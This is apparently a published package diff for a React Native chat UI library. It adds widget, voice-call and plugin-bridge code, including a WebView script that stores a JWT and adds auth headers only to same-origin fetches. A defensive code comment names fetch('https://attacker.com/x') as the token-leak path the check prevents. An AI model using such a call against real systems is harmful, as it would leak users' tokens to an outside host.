@ateam-ai-mobile/ui 0.1.0 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -40,28 +40,35 @@ __export(index_exports, {
40
40
  Plugin: () => Plugin,
41
41
  PluginSurface: () => PluginSurface,
42
42
  TableCardBlock: () => TableCardBlock,
43
+ TenantPicker: () => TenantPicker,
43
44
  TypingIndicator: () => TypingIndicator,
44
45
  UIActionsRow: () => UIActionsRow,
46
+ VoiceCallSheet: () => VoiceCallSheet,
47
+ WidgetHost: () => WidgetHost,
45
48
  WidgetWebView: () => WidgetWebView,
46
49
  buildPluginBridgeJS: () => buildPluginBridgeJS,
50
+ openWidget: () => openWidget,
47
51
  setClipboardProvider: () => setClipboardProvider,
52
+ setPluginWebViewExtraHosts: () => setPluginWebViewExtraHosts,
48
53
  setUIActionNavigator: () => setUIActionNavigator,
49
54
  useLightboxStore: () => useLightboxStore,
50
- usePluginBridge: () => usePluginBridge
55
+ usePluginBridge: () => usePluginBridge,
56
+ useVoiceCall: () => useVoiceCall,
57
+ useWidgetHostStore: () => useWidgetHostStore
51
58
  });
52
59
  module.exports = __toCommonJS(index_exports);
53
60
 
54
61
  // src/AdasChatScreen.tsx
55
- var import_react4 = require("react");
56
- var import_react_native8 = require("react-native");
57
- var import_core7 = require("@ateam-ai-mobile/core");
62
+ var import_react9 = require("react");
63
+ var import_react_native11 = require("react-native");
64
+ var import_core12 = require("@ateam-ai-mobile/core");
58
65
 
59
66
  // src/chat/MessageBubble.tsx
60
- var import_react2 = require("react");
61
- var import_react_native4 = require("react-native");
67
+ var import_react7 = require("react");
68
+ var import_react_native7 = require("react-native");
62
69
  var import_react_native_markdown_display = __toESM(require("react-native-markdown-display"));
63
- var import_core4 = require("@ateam-ai-mobile/core");
64
- var import_plugin_runtime2 = require("@ateam-ai-mobile/plugin-runtime");
70
+ var import_core9 = require("@ateam-ai-mobile/core");
71
+ var import_plugin_runtime6 = require("@ateam-ai-mobile/plugin-runtime");
65
72
 
66
73
  // src/chat/JobProgressBar.tsx
67
74
  var import_react = require("react");
@@ -228,9 +235,9 @@ var styles = import_react_native.StyleSheet.create({
228
235
  });
229
236
 
230
237
  // src/chat/UIActionsRow.tsx
231
- var import_react_native2 = require("react-native");
232
- var import_core2 = require("@ateam-ai-mobile/core");
233
- var import_plugin_runtime = require("@ateam-ai-mobile/plugin-runtime");
238
+ var import_react_native5 = require("react-native");
239
+ var import_core7 = require("@ateam-ai-mobile/core");
240
+ var import_plugin_runtime5 = require("@ateam-ai-mobile/plugin-runtime");
234
241
 
235
242
  // src/providers.ts
236
243
  var _clipboard = null;
@@ -247,1515 +254,1573 @@ function setUIActionNavigator(navigate) {
247
254
  function getUIActionNavigator() {
248
255
  return _navigator;
249
256
  }
250
-
251
- // src/chat/UIActionsRow.tsx
252
- var import_jsx_runtime2 = require("react/jsx-runtime");
253
- var fontFam = import_react_native2.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
254
- var ICON_MAP = {
255
- timer: "\u23F1",
256
- memory: "\u{1F9E0}",
257
- calendar: "\u{1F4C5}",
258
- home: "\u{1F3E0}",
259
- bell: "\u{1F514}",
260
- star: "\u2B50",
261
- bolt: "\u26A1"
262
- };
263
- function UIActionsRow({ actions }) {
264
- if (!Array.isArray(actions) || actions.length === 0) return null;
265
- const handlePress = (a) => {
266
- (0, import_plugin_runtime.getHaptics)()?.selection();
267
- const id = a.pluginId || a.target;
268
- if (!id) return;
269
- const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;
270
- const surface = import_plugin_runtime.useSurfaceStore.getState().manifests[id];
271
- if (surface) {
272
- import_plugin_runtime.useSurfaceStore.getState().show(id, focus ? { focus } : void 0);
273
- return;
274
- }
275
- const params = {};
276
- if (focus) params.focus = String(focus);
277
- if (a.intent === "suggested_action" && a.payload?.tool) {
278
- params.tool = String(a.payload.tool);
279
- if (a.payload?.args) {
280
- try {
281
- params.args = JSON.stringify(a.payload.args);
282
- } catch {
283
- }
284
- }
285
- }
286
- if (a.intent === "quick_toggle" && a.payload?.verb) {
287
- params.verb = String(a.payload.verb);
288
- }
289
- const navigate = getUIActionNavigator();
290
- if (!navigate) {
291
- console.warn("[UIActionsRow] no navigator registered \u2014 call setUIActionNavigator() in the host to handle plugin chips");
292
- return;
293
- }
294
- navigate({ pluginId: id, params });
295
- };
296
- return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.View, { style: styles2.row, children: actions.map((a, i) => {
297
- const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
298
- return /* @__PURE__ */ (0, import_jsx_runtime2.jsxs)(
299
- import_react_native2.Pressable,
300
- {
301
- accessibilityRole: "button",
302
- accessibilityLabel: a.description || a.label,
303
- onPress: () => handlePress(a),
304
- style: ({ pressed }) => [styles2.chip, pressed && styles2.chipPressed],
305
- children: [
306
- icon ? /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.Text, { style: styles2.icon, children: icon }) : null,
307
- /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.Text, { style: styles2.label, numberOfLines: 1, children: a.label })
308
- ]
309
- },
310
- `${a.target || "a"}-${i}`
311
- );
312
- }) });
257
+ var _extraHosts = null;
258
+ function setPluginWebViewExtraHosts(getter) {
259
+ _extraHosts = getter;
313
260
  }
314
- var styles2 = import_react_native2.StyleSheet.create({
315
- row: {
316
- flexDirection: "row",
317
- flexWrap: "wrap",
318
- gap: 6,
319
- marginTop: 10
320
- },
321
- chip: {
322
- flexDirection: "row",
323
- alignItems: "center",
324
- gap: 6,
325
- paddingHorizontal: 12,
326
- paddingVertical: 6,
327
- backgroundColor: import_core2.ada.orangeSoft,
328
- borderColor: import_core2.ada.orange,
329
- borderWidth: 1,
330
- borderRadius: 14
331
- },
332
- chipPressed: {
333
- backgroundColor: import_core2.ada.orange
334
- },
335
- icon: {
336
- fontSize: 12,
337
- lineHeight: 14
338
- },
339
- label: {
340
- color: import_core2.ada.orangeDeep,
341
- fontSize: import_core2.fontSize.xs,
342
- fontWeight: "600",
343
- fontFamily: fontFam
344
- }
345
- });
346
-
347
- // src/chat/TableCardBlock.tsx
348
- var import_react_native3 = require("react-native");
349
- var import_core3 = require("@ateam-ai-mobile/core");
350
- var import_jsx_runtime3 = require("react/jsx-runtime");
351
- var fontFam2 = import_react_native3.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
352
- function TableCardBlock({ columns, rows }) {
353
- if (!columns?.length || !rows?.length) return null;
354
- const [titleCol, ...detailCols] = columns;
355
- return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.View, { style: styles3.wrap, children: rows.map((row, i) => {
356
- const cells = Array.isArray(row) ? row : [row];
357
- const title = cells[0];
358
- return /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_react_native3.View, { style: styles3.card, children: [
359
- /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.title, children: String(title ?? "") }),
360
- detailCols.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.View, { style: styles3.details, children: detailCols.map((col, ci) => {
361
- const value = cells[ci + 1];
362
- if (value == null || value === "") return null;
363
- return /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_react_native3.View, { style: styles3.row, children: [
364
- /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.label, children: String(col) }),
365
- /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.value, children: String(value) })
366
- ] }, ci);
367
- }) })
368
- ] }, i);
369
- }) });
261
+ function getPluginWebViewExtraHosts() {
262
+ return _extraHosts;
370
263
  }
371
- var styles3 = import_react_native3.StyleSheet.create({
372
- wrap: {
373
- marginVertical: 6,
374
- gap: 8
375
- },
376
- card: {
377
- backgroundColor: import_core3.ada.paper,
378
- borderRadius: import_core3.borderRadius.md,
379
- borderWidth: 1,
380
- borderColor: import_core3.ada.border,
381
- padding: import_core3.spacing.md
382
- },
383
- title: {
384
- color: import_core3.ada.ink,
385
- fontSize: import_core3.fontSize.md,
386
- fontWeight: "600",
387
- fontFamily: fontFam2,
388
- letterSpacing: -0.2,
389
- marginBottom: 6
390
- },
391
- details: {
392
- gap: 4
393
- },
394
- row: {
395
- flexDirection: "row",
396
- alignItems: "flex-start",
397
- gap: 8
398
- },
399
- label: {
400
- color: import_core3.ada.inkMuted,
401
- fontSize: import_core3.fontSize.xs,
402
- fontFamily: fontFam2,
403
- fontWeight: "500",
404
- width: 84,
405
- textTransform: "uppercase",
406
- letterSpacing: 0.6,
407
- paddingTop: 2
408
- },
409
- value: {
410
- flex: 1,
411
- color: import_core3.ada.inkSoft,
412
- fontSize: import_core3.fontSize.sm,
413
- fontFamily: fontFam2,
414
- lineHeight: 18
415
- }
416
- });
417
264
 
418
- // src/stores/lightboxStore.ts
265
+ // src/plugin/WidgetHost.tsx
266
+ var import_react6 = require("react");
419
267
  var import_zustand = require("zustand");
420
- var useLightboxStore = (0, import_zustand.create)((set) => ({
421
- uri: null,
422
- show: (uri) => set({ uri }),
423
- hide: () => set({ uri: null })
424
- }));
268
+ var import_core6 = require("@ateam-ai-mobile/core");
269
+ var import_plugin_runtime4 = require("@ateam-ai-mobile/plugin-runtime");
425
270
 
426
- // src/chat/MessageBubble.tsx
427
- var import_jsx_runtime4 = require("react/jsx-runtime");
428
- var fontFam3 = import_react_native4.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
429
- function formatTime(date) {
430
- const h = date.getHours();
431
- const m = date.getMinutes().toString().padStart(2, "0");
432
- return `${h}:${m}`;
433
- }
434
- function DaySeparator({ date }) {
435
- const today = /* @__PURE__ */ new Date();
436
- const yesterday = new Date(today);
437
- yesterday.setDate(yesterday.getDate() - 1);
438
- let label;
439
- if (isSameDay(date, today)) {
440
- label = "Today";
441
- } else if (isSameDay(date, yesterday)) {
442
- label = "Yesterday";
443
- } else {
444
- label = date.toLocaleDateString(void 0, { weekday: "long", month: "short", day: "numeric" });
445
- }
446
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: separatorStyles.container, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: separatorStyles.pill, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: separatorStyles.text, children: label }) }) });
447
- }
448
- function isSameDay(a, b) {
449
- return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
450
- }
451
- var separatorStyles = import_react_native4.StyleSheet.create({
452
- container: {
453
- alignItems: "center",
454
- marginVertical: 14
455
- },
456
- pill: {
457
- backgroundColor: import_core4.ada.paperSoft,
458
- paddingHorizontal: 14,
459
- paddingVertical: 5,
460
- borderRadius: 999
461
- },
462
- text: {
463
- fontSize: 12,
464
- fontWeight: "600",
465
- color: import_core4.ada.inkMuted,
466
- letterSpacing: 0.4,
467
- fontFamily: fontFam3
468
- }
469
- });
470
- function MessageBubble({ message }) {
471
- const isUser = message.role === "user";
472
- const isSystem = message.role === "system";
473
- const isNotification = !isUser && message.kind === "notification";
474
- const [copied, setCopied] = (0, import_react2.useState)("");
475
- const showCopied = (0, import_react2.useCallback)((label) => {
476
- setCopied(label);
477
- (0, import_plugin_runtime2.getHaptics)()?.notification("success");
478
- setTimeout(() => setCopied(""), 1500);
479
- }, []);
480
- const copyText = (0, import_react2.useCallback)(async (text) => {
481
- const clipboard = getClipboard();
482
- if (!clipboard) return;
483
- await clipboard.setString(text);
484
- showCopied("Copied!");
485
- }, [showCopied]);
486
- const handleLongPress = (0, import_react2.useCallback)(() => {
487
- copyText(message.content);
488
- }, [message.content, copyText]);
489
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.View, { style: [styles4.row, isUser && styles4.rowUser], children: [
490
- !isUser && !isNotification && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.avatarOrb, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
491
- import_plugin_runtime2.AdaOrb,
492
- {
493
- size: 28,
494
- state: message.jobProgress?.status === "running" ? "thinking" : "idle"
271
+ // src/plugin/PluginSurface.tsx
272
+ var import_react5 = require("react");
273
+ var import_react_native4 = require("react-native");
274
+ var import_core5 = require("@ateam-ai-mobile/core");
275
+ var import_plugin_runtime3 = require("@ateam-ai-mobile/plugin-runtime");
276
+
277
+ // src/plugin/Plugin.tsx
278
+ var import_react4 = __toESM(require("react"));
279
+ var import_react_native3 = require("react-native");
280
+ var import_core4 = require("@ateam-ai-mobile/core");
281
+ var import_plugin_runtime2 = require("@ateam-ai-mobile/plugin-runtime");
282
+
283
+ // src/plugin/EmbeddedPluginWebView.tsx
284
+ var import_react3 = require("react");
285
+ var import_react_native2 = require("react-native");
286
+ var import_react_native_webview = require("react-native-webview");
287
+ var import_core3 = require("@ateam-ai-mobile/core");
288
+ var import_plugin_runtime = require("@ateam-ai-mobile/plugin-runtime");
289
+
290
+ // src/plugin/usePluginBridge.ts
291
+ var import_react2 = require("react");
292
+ var import_core2 = require("@ateam-ai-mobile/core");
293
+ function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
294
+ const webViewRef = (0, import_react2.useRef)(null);
295
+ const sendInit = (0, import_react2.useCallback)(() => {
296
+ const msg = JSON.stringify({
297
+ source: "adas-host",
298
+ pluginId,
299
+ message: {
300
+ type: "init",
301
+ payload: {
302
+ tenant: (0, import_core2.getTenant)(),
303
+ connectorId: connectorId || null,
304
+ mcpEndpoint: null,
305
+ slug: null,
306
+ skillSlug: null
307
+ }
495
308
  }
496
- ) }),
497
- isNotification && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.notificationLeftStripe }),
498
- /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(
499
- import_react_native4.Pressable,
500
- {
501
- accessibilityRole: "text",
502
- accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
503
- accessibilityHint: "Long-press to copy",
504
- onLongPress: handleLongPress,
505
- style: [
506
- styles4.bubble,
507
- isUser && styles4.bubbleUser,
508
- isSystem && styles4.bubbleSystem,
509
- isNotification && styles4.bubbleNotification
510
- ],
511
- children: [
512
- isNotification && /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.View, { style: styles4.notificationHeader, children: [
513
- /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.notificationHeaderIcon, children: "\u{1F514}" }),
514
- /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.notificationHeaderText, children: "Notification" })
515
- ] }),
516
- message.attachments && message.attachments.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
517
- import_react_native4.Pressable,
518
- {
519
- accessibilityRole: "imagebutton",
520
- accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
521
- onPress: () => useLightboxStore.getState().show(att.previewUri),
522
- children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
523
- import_react_native4.Image,
524
- {
525
- source: {
526
- uri: att.previewUri,
527
- ...att.previewUri.startsWith("http") ? {
528
- headers: { Authorization: `Bearer ${(0, import_core4.getConfig)().tokenProvider.getToken()}` }
529
- } : {}
530
- },
531
- style: styles4.attachmentImage,
532
- resizeMode: "cover",
533
- onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
534
- }
535
- )
536
- },
537
- i
538
- ) : /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.attachmentFile, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
539
- isUser ? (
540
- // Hide the "See attachment" placeholder when the bubble already shows the photo.
541
- message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { selectable: true, style: styles4.userText, children: message.content }) : null
542
- ) : renderAssistantContent(message.content, copyText),
543
- !!copied && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.copiedBadge, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.copiedText, children: copied }) }),
544
- message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(ToolCallsBadge, { calls: message.toolCalls }),
545
- message.jobProgress && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(JobProgressBar, { progress: message.jobProgress }),
546
- !isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(UIActionsRow, { actions: message.actions }),
547
- /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: [styles4.timeText, isUser && styles4.timeTextUser], children: formatTime(message.timestamp) })
548
- ]
309
+ });
310
+ webViewRef.current?.postMessage(msg);
311
+ }, [pluginId, connectorId]);
312
+ const sendToPlugin = (0, import_react2.useCallback)(
313
+ (type, payload) => {
314
+ const msg = JSON.stringify({
315
+ source: "adas-host",
316
+ message: { type, payload }
317
+ });
318
+ webViewRef.current?.postMessage(msg);
319
+ },
320
+ []
321
+ );
322
+ const dispatchToWebView = (0, import_react2.useCallback)((cmd) => {
323
+ if (cmd.command === "__focus") return;
324
+ const msg = JSON.stringify({
325
+ source: "adas-host",
326
+ pluginId,
327
+ message: {
328
+ type: "plugin.command",
329
+ payload: {
330
+ command: cmd.command,
331
+ args: cmd.args,
332
+ correlationId: cmd.correlationId
333
+ }
549
334
  }
550
- ),
551
- isUser && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.avatarSpacer })
552
- ] });
335
+ });
336
+ webViewRef.current?.postMessage(msg);
337
+ }, [pluginId]);
338
+ (0, import_react2.useEffect)(() => {
339
+ const unsub = import_core2.pluginCommandEmitter.on("plugin-command", (cmd) => {
340
+ if (cmd.pluginId !== pluginId) return;
341
+ dispatchToWebView(cmd);
342
+ });
343
+ return unsub;
344
+ }, [pluginId, dispatchToWebView]);
345
+ (0, import_react2.useEffect)(() => {
346
+ if (!commandBufferRef) return;
347
+ const timer = setTimeout(() => {
348
+ const buf = commandBufferRef.current;
349
+ const remaining = [];
350
+ for (const cmd of buf) {
351
+ if (cmd.pluginId === pluginId) {
352
+ dispatchToWebView(cmd);
353
+ } else {
354
+ remaining.push(cmd);
355
+ }
356
+ }
357
+ commandBufferRef.current = remaining;
358
+ }, 1e3);
359
+ return () => clearTimeout(timer);
360
+ }, [pluginId, commandBufferRef, dispatchToWebView]);
361
+ const handleMessage = (0, import_react2.useCallback)(
362
+ async (event) => {
363
+ let data;
364
+ try {
365
+ data = JSON.parse(event.nativeEvent.data);
366
+ } catch {
367
+ return;
368
+ }
369
+ if (data.source !== "adas-plugin") return;
370
+ const action = data.message?.action || data.action;
371
+ const payload = data.message?.payload || data.payload;
372
+ const type = data.message?.type || data.type;
373
+ if (action === "mcp-fetch" && payload?.requestId) {
374
+ const { requestId, body } = payload;
375
+ try {
376
+ const result = await (0, import_core2.mcpFetch)(body);
377
+ sendToPlugin("mcp-fetch-result", { requestId, result, error: null });
378
+ } catch (err) {
379
+ console.warn("[PluginBridge] mcp-fetch ERROR:", err.message);
380
+ sendToPlugin("mcp-fetch-result", { requestId, result: null, error: err.message });
381
+ }
382
+ return;
383
+ }
384
+ if (action === "mcp-call" && payload?.requestId) {
385
+ const { requestId, toolName, args: callArgs } = payload;
386
+ if (toolName) {
387
+ try {
388
+ const rpcResponse = await (0, import_core2.mcpToolCall)(toolName, callArgs || {});
389
+ const result = rpcResponse?.result ?? rpcResponse;
390
+ sendToPlugin("mcp-result", { requestId, result, error: null });
391
+ } catch (err) {
392
+ sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
393
+ }
394
+ return;
395
+ }
396
+ const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
397
+ const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
398
+ const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
399
+ if (!cId || !tool) {
400
+ console.error(`[PluginBridge] mcp-call missing params \u2014 connectorId: ${cId}, tool: ${tool}`);
401
+ sendToPlugin("mcp-result", { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
402
+ return;
403
+ }
404
+ try {
405
+ const data2 = await (0, import_core2.connectorCall)(cId, tool, toolArgs);
406
+ if (data2.ok) {
407
+ sendToPlugin("mcp-result", { requestId, result: data2.result, error: null });
408
+ } else {
409
+ sendToPlugin("mcp-result", { requestId, result: null, error: data2.error || "MCP call failed" });
410
+ }
411
+ } catch (err) {
412
+ sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
413
+ }
414
+ return;
415
+ }
416
+ if (action === "close") {
417
+ import_core2.pluginCommandEmitter.emit("plugin-close", { pluginId });
418
+ return;
419
+ }
420
+ if (type === "plugin.command.result" && payload?.correlationId) {
421
+ const ws = wsRef?.current;
422
+ if (ws && ws.readyState === WebSocket.OPEN) {
423
+ try {
424
+ ws.send(JSON.stringify({
425
+ type: "plugin-command-result",
426
+ correlationId: payload.correlationId,
427
+ result: payload.result,
428
+ error: payload.error
429
+ }));
430
+ } catch (err) {
431
+ console.warn("[PluginBridge] WS send failed, falling back to POST:", err.message);
432
+ await (0, import_core2.postCommandResult)(payload.correlationId, payload.result, payload.error).catch(() => {
433
+ });
434
+ }
435
+ } else {
436
+ try {
437
+ await (0, import_core2.postCommandResult)(payload.correlationId, payload.result, payload.error);
438
+ } catch (err) {
439
+ console.warn("[PluginBridge] Failed to send command result:", err.message);
440
+ }
441
+ }
442
+ return;
443
+ }
444
+ },
445
+ [sendToPlugin]
446
+ );
447
+ return {
448
+ webViewRef,
449
+ sendInit,
450
+ handleMessage
451
+ };
553
452
  }
554
- function renderAssistantContent(content, copyText) {
555
- if (!content) return null;
556
- if (!content.includes(import_core4.TABLE_BLOCK_OPEN)) {
557
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(MarkdownBubble, { content, copyText });
558
- }
559
- const segments = [];
560
- let cursor = 0;
561
- while (cursor < content.length) {
562
- const open = content.indexOf(import_core4.TABLE_BLOCK_OPEN, cursor);
563
- if (open === -1) {
564
- segments.push({ kind: "md", content: content.slice(cursor) });
565
- break;
566
- }
567
- if (open > cursor) {
568
- segments.push({ kind: "md", content: content.slice(cursor, open) });
569
- }
570
- const close = content.indexOf(import_core4.TABLE_BLOCK_CLOSE, open + import_core4.TABLE_BLOCK_OPEN.length);
571
- if (close === -1) {
572
- segments.push({ kind: "md", content: content.slice(open) });
573
- break;
574
- }
575
- const payload = content.slice(open + import_core4.TABLE_BLOCK_OPEN.length, close);
576
- segments.push({ kind: "table", content: payload });
577
- cursor = close + import_core4.TABLE_BLOCK_CLOSE.length;
453
+ function buildPluginBridgeJS(jwt, tenant) {
454
+ return `
455
+ (function() {
456
+ function _dbg(msg) {
457
+ console.log('[PluginBridge] ' + msg);
578
458
  }
579
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_jsx_runtime4.Fragment, { children: segments.map((seg, i) => {
580
- if (seg.kind === "md") {
581
- const trimmed = seg.content.trim();
582
- if (!trimmed) return null;
583
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(MarkdownBubble, { content: seg.content, copyText }, i);
459
+
460
+ // 1. Seed localStorage. JWT is required by web-shared plugin code
461
+ // (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
462
+ // lives in EmbeddedPluginWebView (originWhitelist +
463
+ // onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
464
+ try {
465
+ localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
466
+ localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
467
+ _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
468
+ } catch(e) { _dbg('localStorage ERROR: ' + e.message); }
469
+
470
+ // 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
471
+ var _origFetch = window.fetch.bind(window);
472
+ var _mcpReqId = 0;
473
+ var _pendingMcp = {};
474
+
475
+ window.fetch = function(url, opts) {
476
+ var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
477
+ var method = (opts && opts.method) || 'GET';
478
+
479
+ _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
480
+
481
+ // Intercept /mcp calls
482
+ if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
483
+ _dbg(' -> INTERCEPTED /mcp, proxying via RN bridge');
484
+ return new Promise(function(resolve, reject) {
485
+ var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
486
+ _pendingMcp[requestId] = { resolve: resolve, reject: reject };
487
+ window.ReactNativeWebView.postMessage(JSON.stringify({
488
+ source: 'adas-plugin',
489
+ action: 'mcp-fetch',
490
+ payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
491
+ }));
492
+ setTimeout(function() {
493
+ if (_pendingMcp[requestId]) {
494
+ delete _pendingMcp[requestId];
495
+ _dbg('TIMEOUT mcp-fetch ' + requestId);
496
+ reject(new Error('MCP fetch timeout (30s)'));
497
+ }
498
+ }, 30000);
499
+ });
584
500
  }
501
+
502
+ // Inject Authorization header ONLY for same-origin requests. A relative
503
+ // path resolves against window.location.origin; an absolute URL must
504
+ // literally match. This stops a plugin from leaking the JWT to a foreign
505
+ // host via fetch('https://attacker.com/x') or via <base href>.
506
+ var sameOrigin = false;
585
507
  try {
586
- const data = JSON.parse(decodeURIComponent(seg.content));
587
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(TableCardBlock, { columns: data.columns, rows: data.rows }, i);
588
- } catch {
589
- return null;
508
+ var resolved = new URL(urlStr, window.location.origin);
509
+ sameOrigin = (resolved.origin === window.location.origin);
510
+ } catch (_) { sameOrigin = false; }
511
+ if (sameOrigin) {
512
+ opts = Object.assign({}, opts || {});
513
+ var h = opts.headers;
514
+ if (h instanceof Headers) {
515
+ if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
516
+ } else {
517
+ h = Object.assign({}, h || {});
518
+ if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
519
+ opts.headers = h;
520
+ }
590
521
  }
591
- }) });
592
- }
593
- function MarkdownBubble({ content, copyText }) {
594
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
595
- import_react_native_markdown_display.default,
596
- {
597
- style: markdownStyles,
598
- rules: {
599
- code_inline: (node) => /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
600
- import_react_native4.Text,
601
- {
602
- style: markdownStyles.code_inline,
603
- onPress: () => copyText(node.content),
604
- children: node.content
605
- },
606
- node.key
607
- ),
608
- fence: (node) => /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
609
- import_react_native4.Pressable,
610
- {
611
- onPress: () => copyText(node.content),
612
- style: markdownStyles.fence,
613
- children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: markdownStyles.fenceText, children: node.content })
614
- },
615
- node.key
616
- )
617
- },
618
- children: content
522
+
523
+ return _origFetch(url, opts).then(function(res) {
524
+ _dbg(' <- ' + res.status + ' ' + urlStr.substring(0, 60));
525
+ return res;
526
+ }).catch(function(err) {
527
+ _dbg(' <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
528
+ throw err;
529
+ });
530
+ };
531
+
532
+ // Handle results from RN host
533
+ function _handleHostMessage(d) {
534
+ if (!d || d.source !== 'adas-host') return;
535
+ var msg = d.message || {};
536
+
537
+ // mcp-fetch-result: response to intercepted fetch("/mcp")
538
+ if (msg.type === 'mcp-fetch-result' && msg.payload) {
539
+ var p = msg.payload;
540
+ var pending = _pendingMcp[p.requestId];
541
+ if (pending) {
542
+ delete _pendingMcp[p.requestId];
543
+ if (p.error) {
544
+ pending.reject(new Error(p.error));
545
+ } else {
546
+ pending.resolve(new Response(JSON.stringify(p.result), {
547
+ status: 200,
548
+ headers: { 'Content-Type': 'application/json' }
549
+ }));
550
+ }
551
+ }
619
552
  }
620
- );
553
+ }
554
+
555
+ // 3. Override window.parent.postMessage (plugins use this in iframes)
556
+ window.parent = window.parent || {};
557
+ window.parent.postMessage = function(data, origin) {
558
+ if (data && data.source === 'adas-plugin') {
559
+ window.ReactNativeWebView.postMessage(JSON.stringify(data));
560
+ }
561
+ };
562
+
563
+ // 4. Also intercept direct window.postMessage
564
+ var origPost = window.postMessage.bind(window);
565
+ window.postMessage = function(data, origin) {
566
+ if (data && data.source === 'adas-plugin') {
567
+ window.ReactNativeWebView.postMessage(JSON.stringify(data));
568
+ }
569
+ origPost(data, origin);
570
+ };
571
+
572
+ // 5. Forward messages from RN host -> plugin
573
+ // iOS: window 'message' event, Android: document 'message' event
574
+ window.addEventListener('message', function(e) {
575
+ try {
576
+ var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
577
+ if (d && d.source === 'adas-host') {
578
